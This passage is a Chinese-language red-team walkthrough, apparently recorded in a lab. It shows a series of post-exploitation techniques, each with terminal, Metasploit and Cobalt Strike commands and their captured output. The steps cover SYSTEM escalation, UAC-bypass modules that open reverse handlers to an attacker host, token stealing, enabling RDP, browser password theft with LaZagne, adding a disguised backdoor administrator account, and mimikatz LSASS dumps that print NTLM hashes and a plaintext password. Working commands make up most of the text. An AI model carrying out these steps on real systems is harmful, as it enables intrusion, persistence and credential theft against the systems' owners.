  122.  Schedule                             LocalSystem                  Auto      C:\WINDOWS\System32\svchost.exe -k netsvcs
  123.  SharedAccess                         LocalSystem                  Disabled  C:\WINDOWS\system32\svchost.exe -k netsvcs
  124.  ShellHWDetection                     LocalSystem                  Auto      C:\WINDOWS\System32\svchost.exe -k netsvcs
  125.  Spooler                              LocalSystem                  Auto      C:\WINDOWS\system32\spoolsv.exe
  126.  SysmonLog                            NT Authority\NetworkService  Auto      C:\WINDOWS\system32\smlogsvc.exe
  127.  TPAutoConnSvc                        LocalSystem                  Manual    "C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe"
  128.  TPVCGateway                          LocalSystem                  Manual    "C:\Program Files\VMware\VMware Tools\TPVCGateway.exe"
  129.  TapiSrv                              LocalSystem                  Manual    C:\WINDOWS\System32\svchost.exe -k tapisrv
  130.  TermService                          LocalSystem                  Manual    C:\WINDOWS\System32\svchost.exe -k termsvcs
  131.  Themes                               LocalSystem                  Disabled  C:\WINDOWS\System32\svchost.exe -k netsvcs
  132.  TlntSvr                              NT AUTHORITY\LocalService    Disabled  C:\WINDOWS\system32\tlntsvr.exe
  133.  TrkSvr                               LocalSystem                  Disabled  C:\WINDOWS\system32\svchost.exe -k netsvcs
  134.  TrkWks                               LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  135.  Tssdis                               LocalSystem                  Disabled  C:\WINDOWS\System32\tssdis.exe
  136.  UMWdf                                NT AUTHORITY\LocalService    Manual    C:\WINDOWS\system32\wdfmgr.exe
  137.  UPS                                  NT AUTHORITY\LocalService    Manual    C:\WINDOWS\System32\ups.exe
  138.  VGAuthService                        LocalSystem                  Auto      "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
  139.  VMTools                              LocalSystem                  Auto      "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
  140.  VMware Physical Disk Helper Service  LocalSystem                  Auto      "C:\Program Files\VMware\VMware Tools\vmacthlp.exe"
  141.  VSS                                  LocalSystem                  Manual    C:\WINDOWS\System32\vssvc.exe
  142.  W32Time                              NT AUTHORITY\LocalService    Auto      C:\WINDOWS\System32\svchost.exe -k LocalService
  143.  W3SVC                                LocalSystem                  Auto      C:\WINDOWS\System32\svchost.exe -k iissvcs
  144.  WZCSVC                               LocalSystem                  Auto      C:\WINDOWS\System32\svchost.exe -k netsvcs
  145.  WebClient                            NT AUTHORITY\LocalService    Disabled  C:\WINDOWS\system32\svchost.exe -k LocalService
  146.  WinHttpAutoProxySvc                  NT AUTHORITY\LocalService    Manual    C:\WINDOWS\system32\svchost.exe -k LocalService
  147.  WmdmPmSN                             LocalSystem                  Manual    C:\WINDOWS\System32\svchost.exe -k netsvcs
  148.  Wmi                                  LocalSystem                  Manual    C:\WINDOWS\System32\svchost.exe -k netsvcs
  149.  WmiApSrv                             LocalSystem                  Manual    C:\WINDOWS\system32\wbem\wmiapsrv.exe
  150.  apache                               LocalSystem                  Auto      "C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe" -k runservice
  151.  aspnet_state                         NT AUTHORITY\NetworkService  Manual    C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_state.exe
  152.  dmadmin                              LocalSystem                  Manual    C:\WINDOWS\System32\dmadmin.exe /com
  153.  dmserver                             LocalSystem                  Auto      C:\WINDOWS\System32\svchost.exe -k netsvcs
  154.  helpsvc                              LocalSystem                  Auto      C:\WINDOWS\System32\svchost.exe -k netsvcs
  155.  kdc                                  LocalSystem                  Disabled  C:\WINDOWS\System32\lsass.exe
  156.  lanmanserver                         LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  157.  lanmanworkstation                    LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  158.  mnmsrvc                              LocalSystem                  Disabled  C:\WINDOWS\system32\mnmsrvc.exe
  159.  sacsvr                               LocalSystem                  Manual    C:\WINDOWS\System32\svchost.exe -k netsvcs
  160.  seclogon                             LocalSystem                  Auto      C:\WINDOWS\System32\svchost.exe -k netsvcs
  161.  stisvc                               NT AUTHORITY\LocalService    Disabled  C:\WINDOWS\system32\svchost.exe -k imgsvc
  162.  swprv                                LocalSystem                  Manual    C:\WINDOWS\System32\svchost.exe -k swprv
  163.  vds                                  LocalSystem                  Manual    C:\WINDOWS\System32\vds.exe
  164.  vmvss                                LocalSystem                  Manual    C:\WINDOWS\system32\dllhost.exe /Processid:{64F3ADCF-113F-4FD8-B7EE-76884E9E75E6}
  165.  winmgmt                              LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  166.  wuauserv                             LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  167.  xmlprov                              LocalSystem                  Manual    C:\WINDOWS\System32\svchost.exe -k netsvcs
  169. [+] Loot file stored in: /root/.msf4/loot/20190907144835_default_192.168.2.114_windows.services_639665.txt
  170. [*] Post module execution completed

cs下操作：

explore -- > process list

截图_2019-09-07_14-53-28.png

Service Registry Permissions Weakness(注册权限不足)

Check for common privilege escalation methods

termianal下操作：

powershell.exe -epbypass PowerUp.ps1

Invoke-AllChecks

msf下操作：

exploit/windows/local/trusted_service_path

cs下操作：

powershell-import /path/to/PowerUp.ps1

powershell Invoke-AllChecks

Exploitation for Privilege Escalation(利用漏洞提权)

Elevate to SYSTEM level process（提权至system）

msf下操作：

getsystem

getsystem工作原理：

然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程

有三种工作方式

0 : All techniques available
    1 : Named Pipe Impersonation (In Memory/Admin)1:命名管道模拟(在内存/管理中)
    2 : Named Pipe Impersonation (Dropper/Admin)2:命名管道模拟(Dropper/Admin)
    3 : Token Duplication (In Memory/Admin)3:令牌复制(在内存/管理中)

  1. meterpreter > getsystem 
  2. ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
  3. meterpreter > whoami
  4. [-] Unknown command: whoami.
  5. meterpreter > getuid
  6. Server username: NT AUTHORITY\SYSTEM

cs下操作：

getsystem

  1. beacon> getsystem
  2. [*] Tasked beacon to get SYSTEM
  3. [+] host called home, sent: 100 bytes
  4. [+] Impersonated NT AUTHORITY\SYSTEM

Permission Groups Discovery（权限组发现）

Enumerate local Admin accounts（本地账户枚举）

terminal下操作：

net localgroup "Administrators"

  1. PS C:\Users\Administrator\Desktop\powrshell> net localgroup "Administrators"
  2. 别名     Administrators
  3. 注释     管理员对计算机/域有不受限制的完全访问权
  5. 成员
  7. -------------------------------------------------------------------------------
  8. Administrator
  9. 命令成功完成。

msf下操作：

post/windows/gather/local_admin_search_enum

  1. msf5 post(windows/gather/local_admin_search_enum) > exploit 
  3. [-] Running as SYSTEM, module should be run with USER level rights
  4. [*] Scanned 1 of 1 hosts (100% complete)
  5. [*] Post module execution completed

cs下操作：

shell net localgroup "Administrators"

  2. beacon> shell net localgroup "Administrators"
  3. [*] Tasked beacon to run: net localgroup "Administrators"
  4. [+] host called home, sent: 62 bytes
  5. [-] could not spawn C:\WINDOWS\system32\cmd.exe /C net localgroup "Administrators" (token): 1349

Get domain admin accounts(域管理账户枚举)

terminal下操作：

net group ["Domain Admins"] /domain[:DOMAIN]

  1. PS C:\Users\Administrator\Desktop\powrshell> net group /domain
  2. 这项请求将在域 WORKGROUP 的域控制器处理。
  4. 发生系统错误 1355。
  6. 指定的域不存在，或无法联系。

msf下操作：

post/windows/gather/enum_domain_group_users

  1. msf5 post(windows/gather/enum_domain_group_users) > exploit 
  3. [*] Running module against ROOT-5DE52AC98B
  4. [-] Post failed: NoMethodError undefined method `each' for nil:NilClass
  5. [-] Call stack:
  6. [-]   /usr/share/metasploit-framework/modules/post/windows/gather/enum_domain_group_users.rb:77:in `get_members'
  7. [-]   /usr/share/metasploit-framework/modules/post/windows/gather/enum_domain_group_users.rb:42:in `run'
  8. [*] Post module execution completed

cs下操作：

net group ["Domain Admins"] /domain

Remote Desktop Protocol

Enable RDP Services(开启RDP服务)

terminal下操作：

  1. REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  3. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
  5. net start TermService
  2. PS C:\Users\Administrator\Desktop\powrshell> REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\
  3. RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  4. 操作成功完成。
  5. PS C:\Users\Administrator\Desktop\powrshell> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Serve
  6. r" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  7. 操作成功完成。
  8. PS C:\Users\Administrator\Desktop\powrshell> net start TermService
  9. 请求的服务已经启动。
  11. 请键入 NET HELPMSG 2182 以获得更多的帮助。

　msf下操作：

post/windows/manage/enable_rdp

  1. msf5 post(windows/manage/enable_rdp) > exploit 
  3. [*] Enabling Remote Desktop
  4. [*]     RDP is disabled; enabling it ...
  5. [*] Setting Terminal Services service startup mode
  6. [*]     The Terminal Services service is not set to auto, changing it to auto ...
  7. [*]     Opening port in local firewall if necessary
  8. [*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20190907201411_default_192.168.2.114_host.windows.cle_731683.txt
  9. [*] Post module execution completed

cs下操作：

  1. shell REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  2. shell reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
  3. shell net start TermService
  5. explore --> desktop

Credentials in Files(在文件中获取凭证)

Collect passwords from web browsers（在浏览器中获取密码）

https://github.com/AlessandroZ/LaZagne

https://github.com/hassaanaliw/chromepass

terminal下操作：

laZagne.exe browsers [-f]

  1. PS C:\Users\Administrator\Desktop\powrshell> C:\Users\Administrator\Desktop\lazagne.exe browsers -f
  3. |====================================================================|
  4. |                                                                    |
  5. |                        The LaZagne Project                         |
  6. |                                                                    |
  7. |                          ! BANG BANG !                             |
  8. |                                                                    |
  9. |====================================================================|
  11. [+] System masterkey decrypted for a02f012c-b6ff-48b9-8b07-5a2ea73628d6
  12. [+] System masterkey decrypted for 56e7df96-74cb-45af-95ed-f15706dcff3e
  14. [+] 0 passwords have been found.
  15. For more information launch it again with the -v option
  17. elapsed time = 0.952999830246

System Information Discovery(系统信息发现)

Get Windows version（windows版本获取）

terminal下操作：

ver

  1. C:\Users\Administrator\Desktop\powrshell>ver
  3. Microsoft Windows [版本 10.0.17763.593]

cs下操作：

shell ver

Print environment variables(环境变量输出)

terminal下操作：

set

  1. C:\Users\Administrator\Desktop\powrshell>set
  2. ALLUSERSPROFILE=C:\ProgramData
  3. APPDATA=C:\Users\Administrator\AppData\Roaming
  4. CommonProgramFiles=C:\Program Files\Common Files
  5. CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
  6. CommonProgramW6432=C:\Program Files\Common Files
  7. COMPUTERNAME=DESKTOP-QQF0MLN
  8. ComSpec=C:\Windows\system32\cmd.exe
  9. DriverData=C:\Windows\System32\Drivers\DriverData
  10. FPS_BROWSER_APP_PROFILE_STRING=Internet Explorer
  11. FPS_BROWSER_USER_PROFILE_STRING=Default
  12. HOMEDRIVE=C:
  13. HOMEPATH=\Users\Administrator
  14. LOCALAPPDATA=C:\Users\Administrator\AppData\Local
  15. LOGONSERVER=\\DESKTOP-QQF0MLN
  16. NUMBER_OF_PROCESSORS=2
  17. OS=Windows_NT
  18. Path=C:\Program Files (x86)\NetSarang\Xftp 6\;C:\Program Files (x86)\NetSarang\Xshell 6\;C:\Program Files
  19. iles\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\Win
  20. v1.0\;C:\python3;C:\python3\Scripts;C:\Python27;C:\Python27\Scripts;C:\python3\Scripts\;C:\python3\;C:\Us
  21. or\AppData\Local\Microsoft\WindowsApps;
  22. PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
  23. PROCESSOR_ARCHITECTURE=AMD64
  24. PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 10, GenuineIntel
  25. PROCESSOR_LEVEL=6
  26. PROCESSOR_REVISION=9e0a
  27. ProgramData=C:\ProgramData
  28. ProgramFiles=C:\Program Files
  29. ProgramFiles(x86)=C:\Program Files (x86)
  30. ProgramW6432=C:\Program Files
  31. PROMPT=$P$G
  32. PSModulePath=C:\Users\Administrator\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShel
  33. ndows\system32\WindowsPowerShell\v1.0\Modules
  34. PUBLIC=C:\Users\Public
  35. SESSIONNAME=Console
  36. SystemDrive=C:
  37. SystemRoot=C:\Windows
  38. TEMP=C:\Users\ADMINI~1\AppData\Local\Temp
  39. TMP=C:\Users\ADMINI~1\AppData\Local\Temp
  40. USERDOMAIN=DESKTOP-QQF0MLN
  41. USERDOMAIN_ROAMINGPROFILE=DESKTOP-QQF0MLN
  42. USERNAME=Administrator
  43. USERPROFILE=C:\Users\Administrator
  44. windir=C:\Windows

cs下操作：

shell set

Get computer information(computer信息获取)

terminal下操作：

net config workstation

net config server

  1. C:\Users\Administrator\Desktop\powrshell>net config workstation
  2. 计算机名                     \\DESKTOP-QQF0MLN
  3. 计算机全名                   DESKTOP-QQF0MLN
  4. 用户名                       Administrator
  6. 工作站正运行于
  7.         NetBT_Tcpip_{D56C33AF-9F2F-4E8B-90F2-A5FB6CAA3D90} (000C29D73FB2)
  9. 软件版本                     Windows 10 Enterprise LTSC 2019
  11. 工作站域                     WORKGROUP
  12. 登录域                       DESKTOP-QQF0MLN
  14. COM 打开超时 (秒)            0
  15. COM 发送计数 (字节)          16
  16. COM 发送超时 (毫秒)          250
  17. 命令成功完成。
  20. C:\Users\Administrator\Desktop\powrshell>net config server
  21. 服务器名称                     \\DESKTOP-QQF0MLN
  22. 服务器注释
  24. 软件版本                       Windows 10 Enterprise LTSC 2019
  25. 服务器正运行于
  26.         NetbiosSmb (DESKTOP-QQF0MLN)
  27.         NetBT_Tcpip_{D56C33AF-9F2F-4E8B-90F2-A5FB6CAA3D90} (DESKTOP-QQF0MLN)
  30. 服务器已隐藏                   No
  31. 登录的用户数量上限             20
  32. 每个会话打开的文件数量上限     16384
  34. 空闲的会话时间 (分)            15
  35. 命令成功完成。

cs下操作：

shell net config workstation

shell net config server

Get configuration information(配置信息获取)

terminal下操作：

systeminfo [/s COMPNAME] [/u DOMAIN\user] [/p password]

截图_2019-09-07_20-39-48.png

msf下操作：

sysinfo

run winenum

  1. meterpreter > sysinfo 
  2. Computer        : ROOT-5DE52AC98B
  3. OS              : Windows .NET Server (Build 3790, Service Pack 2).
  4. Architecture    : x86
  5. System Language : zh_CN
  6. Domain          : WORKGROUP
  7. Logged On Users : 2
  8. Meterpreter     : x86/windows
  10. meterpreter > run winenum 
  11. [*] Running Windows Local Enumeration Meterpreter Script
  12. [*] New session on 192.168.2.114:1068...
  13. [*] Saving general report to /root/.msf4/logs/scripts/winenum/ROOT-5DE52AC98B_20190907.4112/ROOT-5DE52AC98B_20190907.4112.txt
  14. [*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/ROOT-5DE52AC98B_20190907.4112
  15. [*] Checking if ROOT-5DE52AC98B is a Virtual Machine ........
  16. [*]     This is a VMware Workstation/Fusion Virtual Machine
  17. [*]     UAC is Disabled
  18. [*] Running Command List ...
  19. [*]     running command cmd.exe /c set
  20. [*]     running command ipconfig /displaydns
  21. [*]     running command arp -a
  22. [*]     running command netstat -nao
  23. [*]     running command netstat -vb
  24. [*]     running command route print
  25. [*]     running command netstat -ns
  26. [*]     running command ipconfig /all
  27. [*]     running command net view
  28. [*]     running command net accounts
  29. [*]     running command net view /domain
  30. [*]     running command net share
  31. [*]     running command net group
  32. [*]     running command net user
  33. [*]     running command net localgroup
  34. [*]     running command net localgroup administrators
  35. [*]     running command net group administrators
  36. [*]     running command netsh firewall show config
  37. [*]     running command tasklist /svc
  38. [*]     running command net session
  39. [*]     running command gpresult /SCOPE COMPUTER /Z
  40. [*]     running command gpresult /SCOPE USER /Z
  41. [*] Running WMIC Commands ....
  42. [*]     running command wmic group list
  43. [*]     running command wmic nteventlog get path,filename,writeable
  44. [*]     running command wmic useraccount list
  45. [*]     running command wmic netclient list brief
  46. [*]     running command wmic share get name,path
  47. [*]     running command wmic volume list brief
  48. [*]     running command wmic logicaldisk get description,filesystem,name,size
  49. [*]     running command wmic service list brief
  50. [*]     running command wmic netlogin get name,lastlogon,badpasswordcount
  51. [*]     running command wmic netuse get name,username,connectiontype,localname
  52. [*]     running command wmic rdtoggle list
  53. [*]     running command wmic startup list full
  54. [*]     running command wmic qfe
  55. [*]     running command wmic product get name,version
  56. [*] Extracting software list from registry
  57. [*] Dumping password hashes...
  58. [*] Hashes Dumped
  59. [*] Getting Tokens...
  60. [*] All tokens have been processed
  61. [*] Done!

cs下操作：

shell systeminfo

Account Discovery(认证枚举)

Gather more information on targeted users（收集更多的目标用户信息）

terminal下操作：

net user [username] [/domain]

  1. C:\Users\Administrator\Desktop\powrshell>net user administrator
  2. 用户名                 Administrator
  3. 全名
  4. 注释                   管理计算机(域)的内置帐户
  5. 用户的注释
  6. 国家/地区代码          000 (系统默认值)
  7. 帐户启用               Yes
  8. 帐户到期               从不
  10. 上次设置密码           2019-7-14 23:28:47
  11. 密码到期               从不
  12. 密码可更改             2019-7-14 23:28:47
  13. 需要密码               Yes
  14. 用户可以更改密码       Yes
  16. 允许的工作站           All
  17. 登录脚本
  18. 用户配置文件
  19. 主目录
  20. 上次登录               2019-9-7 10:08:43
  22. 可允许的登录小时数     All
  24. 本地组成员             *Administrators
  25. 全局组成员             *None
  26. 命令成功完成。

msf下操作：

post/windows/gather/enum_ad_users

auxiliary/scanner/smb/smb_enumusers

  1. msf5 post(windows/gather/enum_ad_users) > exploit 
  3. [-] Unable to find the domain to query.
  4. [*] Post module execution completed

Query Active Directory for users, groups and permissions(查询Active Directory中的用户、组和权限)

terminal下操作：

  1. dsquery group "ou=Domain Admins,dc=domain,dc=com"
  2. dsquery user "dc=domain,dc=com"
  3. dsquery * OU="Domain Admins",DC=domain,DC=com -scope base -attr SAMAccountName userPrincipalName Description
  4. dsquery * -filter "(&(objectCategory=contact)(objectCategory=person)(mail=*)(objectClass=user))" -Attr samAccountName mail -Limit 0
  5. dsquery * -filter "(&(objectCategory=group)(name=*Admin*))" -Attr name description members

Bypass User Account Control

bypass UAC

msf下操作：

exploit/windows/local/bypassuac

exploit/windows/local/bypassuac_injection

exploit/windows/local/bypassuac_vbs

  2. msf5 exploit(windows/local/bypassuac) > exploit 
  4. [*] Started reverse TCP handler on 192.168.2.103:4444 
  5. [-] Exploit aborted due to failure: none: Already in elevated state
  6. [*] Exploit completed, but no session was created.
  9. msf5 exploit(windows/local/bypassuac_injection) > exploit 
  11. [*] Started reverse TCP handler on 192.168.2.103:4444 
  12. [-] Exploit aborted due to failure: none: Already in elevated state
  13. [*] Exploit completed, but no session was created.
  16. msf5 exploit(windows/local/bypassuac_vbs) > exploit 
  18. [*] Started reverse TCP handler on 192.168.2.103:4444 
  19. [-] Exploit aborted due to failure: none: Already in elevated state
  20. [*] Exploit completed, but no session was created.

cs下操作：

access --> elevate

  1. beacon> elevate uac-dll test
  2. [*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity process
  3. [+] host called home, sent: 101435 bytes
  4. [+] received output:
  5. [*] Wrote hijack DLL to 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\9970.dll'
  6. [-] Privileged file copy failed: C:\WINDOWS\System32\sysprep\CRYPTBASE.dll
  8. beacon> elevate uac-eventvwr test
  9. [*] Tasked Beacon to run windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity context
  10. [+] host called home, sent: 2798 bytes
  11. [+] host called home, sent: 2498 bytes
  12. [+] host called home, sent: 125001 bytes
  13. [-] could not spawn C:\WINDOWS\system32\rundll32.exe (token): 1349
  14. [-] Could not connect to pipe: 2
  16. beacon> elevate uac-token-duplication test
  17. [+] host called home, sent: 3545 bytes
  18. [*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity process (token duplication)
  19. [+] host called home, sent: 79378 bytes
  20. [+] received output:
  21. [-] You're already in a high integrity context.
  24. beacon> elevate uac-wscript test
  25. [*] Tasked Beacon to run windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity context
  26. [+] host called home, sent: 2802 bytes
  27. [+] host called home, sent: 128999 bytes
  28. [-] could not spawn C:\WINDOWS\system32\rundll32.exe (token): 1349
  29. [-] Could not connect to pipe: 2

Access Token Manipulation(访问令牌操作)

原理：

  1. Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.
  3. 简单来说就是攻击者可以使用访问令牌在不同的用户或系统安全上下文中操作，以执行操作和逃避检测。攻击者可以使用内置的Windows API函数从现有进程复制访问令牌;这就是所谓的令牌窃取
  5. 常用方法：
  7. ` 令牌模拟/盗窃
  8. ` 使用令牌创建进程
  9. ` Make和Impersonate令牌
  11. 注：任何标准用户都可以使用runas命令和Windows API函数创建模拟令牌;它不需要访问管理员帐户

Token stealing（令牌窃取）

msf下操作：

  1. use incognito
  2. list_tokens -u
  3. impersonate_token DOMAIN\\User
  4. or:
  5. steal_token {pid}
  1. meterpreter > use incognito 
  2. Loading extension incognito...Success.
  3. meterpreter > list_tokens -u
  5. Delegation Tokens Available
  6. ========================================
  7. NT AUTHORITY\LOCAL SERVICE
  8. NT AUTHORITY\NETWORK SERVICE
  9. NT AUTHORITY\SYSTEM
  10. ROOT-5DE52AC98B\Administrator
  12. Impersonation Tokens Available
  13. ========================================
  14. NT AUTHORITY\ANONYMOUS LOGON

cs下操作：

steal_token pid

  1. beacon> steal_token 1228
  2. [*] Tasked beacon to steal token from PID 1228
  3. [+] host called home, sent: 12 bytes

Network Share Discovery (网络共享发现)

Dump network shared resource information（输出网络共享资源信息）

terminal下操作：

net share

  1. C:\Users\Administrator\Desktop\powrshell>net share
  3. 共享名       资源                            注解
  5. -------------------------------------------------------------------------------
  6. C$           C:\                             默认共享
  7. D$           D:\                             默认共享
  8. IPC$                                         远程 IPC
  9. ADMIN$       C:\Windows                      远程管理
  10. 命令成功完成。

msf下操作：

auxiliary/scanner/smb/smb_enumshares

  1. msf5 auxiliary(scanner/smb/smb_enumshares) > exploit 
  3. [-] 192.168.2.114:139     - Login Failed: Unable to Negotiate with remote host
  4. [*] 192.168.2.114:        - Scanned 1 of 1 hosts (100% complete)
  5. [*] Auxiliary module execution completed

cs下操作：

shell net share

List of workstations and network devices(工作组和网络设备列表)

terminal下操作：

net view \host /all [/domain:domain]

  1. C:\Users\Administrator\Desktop\powrshell>net view /all
  2. 发生系统错误 6118。
  4. 此工作组的服务器列表当前无法使用

msf下操作：

auxiliary/scanner/smb/smb_enumshares

cs下操作：

net view \host /domain

Create Account(创建认证)

Create backdoor user account（创建后门用户帐户）

terminal下操作：

  1. net user support_388945a0 somepasswordhere /add /y
  2. net localgroup administrators support_388945a0 /add
  3. net localgroup "remote desktop users" support_388945a0 /add
  1. C:\Users\Administrator\Desktop\powrshell>net user support_388945a0 somepasswordhere /add /y
  2. 命令成功完成。
  5. C:\Users\Administrator\Desktop\powrshell>net localgroup administrators support_388945a0 /add
  6. 命令成功完成。
  9. C:\Users\Administrator\Desktop\powrshell>net localgroup "remote desktop users"
  10. 别名     remote desktop users
  11. 注释     此组中的成员被授予远程登录的权限
  13. 成员
  15. -------------------------------------------------------------------------------
  16. 命令成功完成。
  19. C:\Users\Administrator\Desktop\powrshell>support_388945a0 /add
  20. 'support_388945a0' 不是内部或外部命令，也不是可运行的程序
  21. 或批处理文件。
  23. C:\Users\Administrator\Desktop\powrshell>net user
  25. \\DESKTOP-QQF0MLN 的用户帐户
  27. -------------------------------------------------------------------------------
  28. Administrator            DefaultAccount           Guest
  29. support_388945a0         WDAGUtilityAccount
  30. 命令成功完成。

msf下操作：

post/windows/manage/add_user_domain

  1. msf5 post(windows/manage/add_user_domain) > exploit 
  3. [*] Running module on ROOT-5DE52AC98B
  4. [-] This host is not part of a domain.
  5. [*] Post module execution completed

cs下操作：

  1. shell net user support_388945a0 somepasswordhere /add /y
  2. shell net localgroup administrators support_388945a0 /add
  3. shell net localgroup "remote desktop users" support_388945a0 /add

Enable "support_388945a0" account（启用“support_388945a0”账户）

terminal下操作：

  1. net user support_388945a0 /active:yes
  2. net localgroup administrators support_388945a0 /add
  3. net localgroup "remote desktop users" support_388945a0 /add

cs下操作：

  1. shell net user support_388945a0 /active:yes
  2. shell net localgroup administrators support_388945a0 /add
  3. shell net localgroup "remote desktop users" support_388945a0 /add

Data Destruction(数据销毁)

Dump credentials from LSASS（从LSASS转储凭据）

cs下操作：

  1. mimikatz !sekurlsa::logonpasswords
  2. mimikatz !sekurlsa::msv
  3. mimikatz !sekurlsa::kerberos
  4. mimikatz !sekurlsa::wdigest
  1. beacon> mimikatz !sekurlsa::logonpasswords
  2. [*] Tasked beacon to run mimikatz's !sekurlsa::logonpasswords command
  3. [+] host called home, sent: 841299 bytes
  4. [+] received output:
  6. Authentication Id : 0 ; 996 (00000000:000003e4)
  7. Session           : Service from 0
  8. User Name         : NETWORK SERVICE
  9. Domain            : NT AUTHORITY
  10. Logon Server      : (null)
  11. Logon Time        : 2019-9-7 10:11:34
  12. SID               : S-1-5-20
  13.     msv :   
  14.      [00000002] Primary
  15.      * Username : ROOT-5DE52AC98B$
  16.      * Domain   : WORKGROUP
  17.      * LM       : aad3b435b51404eeaad3b435b51404ee
  18.      * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
  19.      * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
  20.     wdigest :   
  21.      * Username : ROOT-5DE52AC98B$
  22.      * Domain   : WORKGROUP
  23.      * Password : (null)
  24.     kerberos :  
  25.      * Username : root-5de52ac98b$
  26.      * Domain   : WORKGROUP
  27.      * Password : (null)
  28.     ssp :   
  29.     credman :   
  31. Authentication Id : 0 ; 333357 (00000000:0005162d)
  32. Session           : Interactive from 0
  33. User Name         : Administrator
  34. Domain            : ROOT-5DE52AC98B
  35. Logon Server      : ROOT-5DE52AC98B
  36. Logon Time        : 2019-9-7 10:15:25
  37. SID               : S-1-5-21-1911985068-4225083820-4011728908-500
  38.     msv :   
  39.      [00000002] Primary
  40.      * Username : Administrator
  41.      * Domain   : ROOT-5DE52AC98B
  42.      * LM       : 44efce164ab921caaad3b435b51404ee
  43.      * NTLM     : 32ed87bdb5fdc5e9cba88547376818d4
  44.      * SHA1     : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
  45.     wdigest :   
  46.      * Username : Administrator
  47.      * Domain   : ROOT-5DE52AC98B
  48.      * Password : 123456
  49.     kerberos :  
  50.      * Username : Administrator
  51.      * Domain   : ROOT-5DE52AC98B
  52.      * Password : 123456
  53.     ssp :   
  54.     credman :   
  56. Authentication Id : 0 ; 997 (00000000:000003e5)
  57. Session           : Service from 0
  58. User Name         : LOCAL SERVICE
  59. Domain            : NT AUTHORITY
  60. Logon Server      : (null)
  61. Logon Time        : 2019-9-7 10:11:34
  62. SID               : S-1-5-19
  63.     msv :   
  64.     wdigest :   
  65.     kerberos :  
  66.      * Username : (null)
  67.      * Domain   : (null)
  68.      * Password : (null)
  69.     ssp :   
  70.     credman :   
  72. Authentication Id : 0 ; 53191 (00000000:0000cfc7)
  73. Session           : UndefinedLogonType from 0
  74. User Name         : (null)
  75. Domain            : (null)
  76. Logon Server      : (null)
  77. Logon Time        : 2019-9-7 10:11:34
  78. SID               : 
  79.     msv :   
  80.     wdigest :   
  81.     kerberos :  
  82.     ssp :   
  83.     credman :   
  85. Authentication Id : 0 ; 999 (00000000:000003e7)
  86. Session           : UndefinedLogonType from 0
  87. User Name         : ROOT-5DE52AC98B$
  88. Domain            : WORKGROUP
  89. Logon Server      : (null)
  90. Logon Time        : 2019-9-7 10:11:34
  91. SID               : S-1-5-18
  92.     msv :   
  93.     wdigest :   
  94.     kerberos :  
  95.      * Username : root-5de52ac98b$
  96.      * Domain   : WORKGROUP
  97.      * Password : (null)
  98.     ssp :   
  99.     credman :   
  102. beacon> mimikatz !sekurlsa::msv
  103. [*] Tasked beacon to run mimikatz's !sekurlsa::msv command
  104. [+] host called home, sent: 841288 bytes
  105. [+] received output:
  107. Authentication Id : 0 ; 996 (00000000:000003e4)
  108. Session           : Service from 0
  109. User Name         : NETWORK SERVICE
  110. Domain            : NT AUTHORITY
  111. Logon Server      : (null)
  112. Logon Time        : 2019-9-7 10:11:34
  113. SID               : S-1-5-20
  114.     msv :   
  115.      [00000002] Primary
  116.      * Username : ROOT-5DE52AC98B$
  117.      * Domain   : WORKGROUP
  118.      * LM       : aad3b435b51404eeaad3b435b51404ee
  119.      * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
  120.      * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
  122. Authentication Id : 0 ; 333357 (00000000:0005162d)
  123. Session           : Interactive from 0
  124. User Name         : Administrator
